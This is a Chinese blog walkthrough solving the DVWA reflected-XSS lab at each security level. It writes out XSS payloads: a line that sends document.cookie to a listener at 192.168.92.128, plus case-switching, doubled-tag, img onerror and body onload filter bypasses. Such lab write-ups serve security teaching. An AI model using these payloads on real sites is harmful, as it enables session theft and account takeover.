DVWA 反射型XSS XSS(Reflected)题解

low

首先输入最基础的

<script>alert(“1”)script>
1

发现弹窗成功.
在这里插入图片描述

重置数据库，试一下能不能爆出cookie。

<script>alert(“document.cookie”)script>
1

在这里插入图片描述
之后使用burp看一下数据包

发现其中的Cookie与爆出来的相同，证明爆出来的确实是Cookie
开个kali的nc监听一下

之后在靶场输入

<script>new Image().src="http://192.168.92.128/a.php?cookie="+document.cookie;script>
1

执行后可以在kali处看到返回的cookie
在这里插入图片描述

medium

首先试一下最基本的alert1：
在这里插入图片描述
毫无反应，甚至alert(“1”)作为用户名打了出来

点击网页右下角View Source按钮查看源码。

这里可以发现安全策略为：
将输入中的script（nnd，这里被安全屏蔽了，左右括号打不出来）替换为空，那么针对这个安全策略，可以有以下几种方法：
1 大写绕过

<SCRIPT>alert(“1”)script>
1

在这里插入图片描述
2 双写绕过

<script>ipt>alert(“1”)script>
1

在这里插入图片描述
3 使用其他标签

<img src=1 onerror=alert(document.cookie)>
1

这句是向src所记录的路由申请资源，若出错则执行onerror
在这里插入图片描述
此处我还实验了’<’和’>’符号的转义，遗憾的是没有成功

high

在这里插入图片描述
打开源码，可以看到源码对script使用正则进行了严格限制，medium阶段所使用的大写与双写绕过均作废了。只好使用其他标签进行漏洞利用

<body onload=alert(“1”)>
1

impossible

看眼源码，将输入进行了html实体转义，甚至防住了CSRF攻击。
在这里插入图片描述

相关阅读:
UX设计VSUI设计
JavaScript bind,call,apply原理，手写bind,call,apply实现
Python 操作 Excel，如何又快又好？
设计模式---单例模式
QT发送Get请求并返回内容
辐射骚扰整改思路及方法：对共模电流的影响？|深圳比创达电子EMC
计算机网络——物理层及其数据通信基础知识
【算法分析与设计】回溯法（下）
http之basic authentication浅析
Pycharm开发环境下创建python运行的虚拟环境（自动执行安装依赖包）

原文地址：https://blog.csdn.net/mirocky/article/details/126162635